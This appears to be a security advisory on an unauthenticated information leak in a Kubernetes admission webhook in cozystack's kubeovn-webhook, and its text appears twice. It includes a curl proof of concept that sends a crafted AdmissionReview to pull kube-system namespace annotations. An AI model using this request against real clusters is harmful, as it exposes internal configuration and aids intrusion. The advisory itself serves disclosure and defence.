Summary
An unauthenticated information disclosure vulnerability in the /mutate-pods admission webhook allows any network-accessible attacker to query arbitrary Kubernetes namespace annotations using the webhook pod’s service account privileges. By sending a crafted AdmissionReview request, an attacker can force the webhook to retrieve namespace metadata from the Kubernetes API server and reflect sensitive annotations in the admission response, resulting in leakage of internal cluster configuration and networking information.
Details
Prerequisites: Unauthenticated - Network access to port 8443 of the webhook pod (intra-cluster or via NodePort/LoadBalancer exposure)
The /mutate-pods admission webhook handler accepts an AdmissionReview request body from any unauthenticated network caller. In HandleMutatePods ,
|
func HandleMutatePods(w http.ResponseWriter, r *http.Request) { |
the raw HTTP request body is read and unmarshaled into
admissionv1.AdmissionReview with no caller authentication. At line 62,
|
ns := admissionReviewReq.Request.Namespace |
extracts the namespace string directly from the attacker-controlled body. The webhook will use the pod's service account to fetch that namespace from the API server and reflect its annotations back to the caller inside the JSON patch response, leaking internal cluster metadata such as network policy hints, OVN route configurations, and operator annotations.
PoC
curl -sk -X POST https://<WEBHOOK_POD_IP>:8443/mutate-pods \
-H 'Content-Type: application/json' \
-d '{
"apiVersion": "admission.k8s.io/v1",
"kind": "AdmissionReview",
"request": {
"uid": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
"kind": {"group": "", "version": "v1", "kind": "Pod"},
"operation": "CREATE",
"namespace": "kube-system",
"object": {
"apiVersion": "v1",
"kind": "Pod",
"metadata": {"name": "test", "namespace": "kube-system"},
"spec": {"containers": [{"name": "c", "image": "alpine"}]}
}
}
}'
# Response JSON patch will contain kube-system namespace annotations
# fetched via the webhook's service account credentials
Impact
This vulnerability allows unauthenticated attackers with network access to the webhook endpoint (:8443) to enumerate and exfiltrate annotations from arbitrary namespaces within the cluster, including privileged namespaces such as kube-system. The leaked metadata may contain sensitive operational details such as OVN networking configuration, routing information, internal infrastructure hints, policy-related annotations, and operator-managed settings.
Because the webhook performs API requests using its own service account credentials, the vulnerability effectively exposes cluster information beyond the attacker’s original privileges. In environments where the webhook is exposed through a NodePort, LoadBalancer, or reachable intra-cluster network path, this issue can aid reconnaissance, privilege escalation planning, lateral movement, and targeting of additional cluster components.
Summary
An unauthenticated information disclosure vulnerability in the
/mutate-podsadmission webhook allows any network-accessible attacker to query arbitrary Kubernetes namespace annotations using the webhook pod’s service account privileges. By sending a crafted AdmissionReview request, an attacker can force the webhook to retrieve namespace metadata from the Kubernetes API server and reflect sensitive annotations in the admission response, resulting in leakage of internal cluster configuration and networking information.Details
The
/mutate-podsadmission webhook handler accepts anAdmissionReviewrequest body from any unauthenticated network caller. InHandleMutatePods,cozystack/packages/system/kubeovn-webhook/images/kubeovn-webhook/admission.go
Line 25 in a7a09ff
admissionv1.AdmissionReviewwith no caller authentication. At line 62,cozystack/packages/system/kubeovn-webhook/images/kubeovn-webhook/admission.go
Line 62 in a7a09ff
PoC
Impact
This vulnerability allows unauthenticated attackers with network access to the webhook endpoint (:8443) to enumerate and exfiltrate annotations from arbitrary namespaces within the cluster, including privileged namespaces such as kube-system. The leaked metadata may contain sensitive operational details such as OVN networking configuration, routing information, internal infrastructure hints, policy-related annotations, and operator-managed settings.
Because the webhook performs API requests using its own service account credentials, the vulnerability effectively exposes cluster information beyond the attacker’s original privileges. In environments where the webhook is exposed through a NodePort, LoadBalancer, or reachable intra-cluster network path, this issue can aid reconnaissance, privilege escalation planning, lateral movement, and targeting of additional cluster components.